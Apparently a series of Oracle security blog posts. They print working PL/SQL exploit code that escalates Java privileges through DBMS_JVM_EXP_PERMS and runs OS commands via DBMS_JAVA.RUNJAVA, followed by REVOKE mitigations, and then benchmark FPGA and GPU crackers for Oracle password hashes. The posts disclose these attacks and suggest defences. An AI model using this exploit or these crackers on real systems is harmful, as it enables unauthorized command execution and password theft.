Blackhat removed the video from David Litchfield (containing the 0day exploit code for 11g) from their website. But it’s too late because the 0day code for 11g can be found in the meantime in many places.
The video was downloaded several times and it’s just a question of time until it re-appears…
BTW Oracle 10.2.0.4 with all security patches is vulnerable against this issue too. But the exploit must be modified a little bit.
I just read on Sumit Siddarth’s (Sid) blog that the video recording from David Litchfield’s BH presentation is online.
David showed how to escalate Java privileges using DBMS_JVM_EXP_PERMS.
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT GRANT,USER(), SYS,’java.io.FilePermission,<<ALL FILES>>,execute,’ENABLED from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
After the Java privilege escalation it is possible to run OS commands using a simple SELECT statement:
select dbms_java.runjava(oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst)from dual;
For security reasons you should:
revoke execute on dbms_java from PUBLIC;
revoke execute on dbms_java_test from PUBLIC;
revoke execute on „oracle/aurora/util/Wrapper“ from PUBLIC;
grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;
revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;
I just tested the code on my Linux 11.2.0.1 database and it worked without any problem.
SELECT * from dual where chr(42)=DBMS_JAVA.RUNJAVA(‚oracle/aurora/util/Wrapper /bin/touch /tmp/iwashere3‘);
I came across an interesting article in the German newspaper FAZ. Someone is offering data of 1500 Swiss bank customers (with black money) to the German government for 2.5 Million EURO. A quick check of the tax fraud investigators showed that the data is reliable.
The Return on Invest (ROI) is approx. 100 Mill EUR for the German government (4% for the data thief). Our minister of finance is still thinking if he should make this deal. This would be good for the German government (more money, less taxes for Germans) but bad for the Swiss banking industry.
Dennis Yurichev wrote an interesting background article about his FPGA password cracker for Oracle, currently the fastest (known) way to brute force Oracle DES passwords.
Dennis mentioned in the article that „By Oracle’s password standard, first password symbol is always Latin character (one of 26)“. This is not exactely correct if you enclose the password in double quotes. In this case all characters are allowed. I tested the FPGA cracker with the following test case and it seems not to crack the hash (currently still running).
SQL> grant dba to x identified by „1“;
Grant succeeded.
SQL> select username,password from dba_users where username=’X‘;
USERNAME PASSWORD
—————————— ——————————
X 4D91C057D0C4D801
If you want to try his FPGA cracker here is the link.
Well done and very interesting article Dennis. The only thing I would be interestedis the price of the FPGA hardware.
This time I want to present a new super-fast password cracker.Ivan Golubev released a new version of his password cracker IGhashGPU. I know the tool for a while but in older versions of IGHASHGPU Oracle SHA1 passwords were not supported.
The new version 0.62 supports now also Oracle 11g hashes (SHA1 + salt). The remarkable thing is the speed of cracking passwords. Ivan’s cracker is using the GPU for cracking the passwords. Without a GPU (NVidia or ATI) or within a virtual machine the tool is not working.
On a dual ATI 5970 configuration (forum entry) the tool can crack approx. 790 (!!!) Million hashes per second. A single ATI 4850 can achieve more than 300 Mill. hashes per second. This means that the new 11g password algorithm can be cracked approx 130 times faster than the old DES algorithm. I am not sure if it was a good idea from Oracle to use such a standard algorithm like SHA1 because this is together with MD5 one of the most optimized algorithms.
Here is a short comparison between cracking old Oracle DES based passwords and new Oracle 11g SHA1 based passwords. I used the fasted software BF password cracker for Oracle DES (Repscan from Red-Database-Security or woraauthbf, both with approx. 6 Mill hashes on a Core i7) and compared it with the configuration of running IGHASHGPU on a dual 5970 configuration (790 Mill hashes per second).
Here are some benchmark numbers. I know that 11g supports case sensitive passwords but from my experience most people use normally lowercase passwords with the first character converted to uppercase.In such a case it is not necessary to crack the entire key space.
26 characters, length 6: DES: 53 seconds, SHA1: 0.4 seconds
26 characters, length 7: DES: 23 min, SHA1: 10 seconds
26 characters, length 8: DES: 10 h, SHA1: 4.6 minutes
26 characters, length 9: DES: 11 days, SHA1: 2 hours
26 characters, length 10: DES: 283 days, SHA1: 2 days
If you are interested to download the tool you can get it from here.